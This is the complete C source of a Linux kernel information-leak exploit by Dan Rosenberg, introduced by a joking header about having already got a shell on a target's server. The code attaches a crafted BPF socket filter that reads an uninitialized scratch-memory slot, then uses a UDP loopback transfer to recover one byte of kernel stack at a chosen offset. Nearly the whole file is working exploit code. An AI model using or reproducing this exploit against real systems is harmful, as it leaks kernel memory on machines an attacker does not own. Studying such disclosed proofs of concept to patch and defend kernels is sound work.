Enjoy...
-Dan
/*
* You've done it. After hours of gdb and caffeine, you've finally got a shell
* on your target's server. Maybe next time they will think twice about
* running MyFirstCompSciProjectFTPD on a production machine. As you take
* another sip of Mountain Dew and pick some of the cheetos out of your beard,
* you begin to plan your next move - it's time to tackle the kernel.
*
* What should be your goal? Privilege escalation? That's impossible, there's
* no such thing as a privilege escalation vulnerability on Linux. Denial of
* service? What are you, some kind of script kiddie? No, the answer is
* obvious. You must read the uninitialized bytes of the kernel stack, since
* these bytes contain all the secrets of the universe and the meaning of life.
*
* How can you accomplish this insidious feat? You immediately discard the
* notion of looking for uninitialized struct members that are copied back to
* userspace, since you clearly need something far more elite. In order to
* prove your superiority, your exploit must be as sophisticated as your taste
* in obscure electronic music. After scanning the kernel source for good
* candidates, you find your target and begin to code...
*
* by Dan Rosenberg
*
* Greets to kees, taviso, jono, spender, hawkes, and bla
*
*/
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/filter.h>
#define PORT 37337
int transfer(int sendsock, int recvsock)
{
struct sockaddr_in addr;
char buf[512];
int len = sizeof(addr);
memset(buf, 0, sizeof(buf));
if (fork())
return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len);
sleep(1);
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
exit(0);
}
int main(int argc, char * argv[])
{
int sendsock, recvsock, ret;
unsigned int val;
struct sockaddr_in addr;
struct sock_fprog fprog;
struct sock_filter filters[5];
if (argc != 2) {
printf("[*] Usage: %s offset (0-63)\n", argv[0]);
return -1;
}
val = atoi(argv[1]);
if (val > 63) {
printf("[*] Invalid byte offset (must be 0-63)\n");
return -1;
}
recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (recvsock < 0 || sendsock < 0) {
printf("[*] Could not create sockets.\n");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
printf("[*] Could not bind socket.\n");
return -1;
}
memset(&fprog, 0, sizeof(fprog));
memset(filters, 0, sizeof(filters));
filters[0].code = BPF_LD|BPF_MEM;
filters[0].k = (val & ~0x3) / 4;
filters[1].code = BPF_ALU|BPF_AND|BPF_K;
filters[1].k = 0xff << ((val % 4) * 8);
filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
filters[2].k = (val % 4) * 8;
filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
filters[3].k = 256;
filters[4].code = BPF_RET|BPF_A;
fprog.len = 5;
fprog.filter = filters;
if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) {
printf("[*] Failed to install filter.\n");
return -1;
}
ret = transfer(sendsock, recvsock);
printf("[*] Your byte: 0x%.02x\n", ret - 248);
}
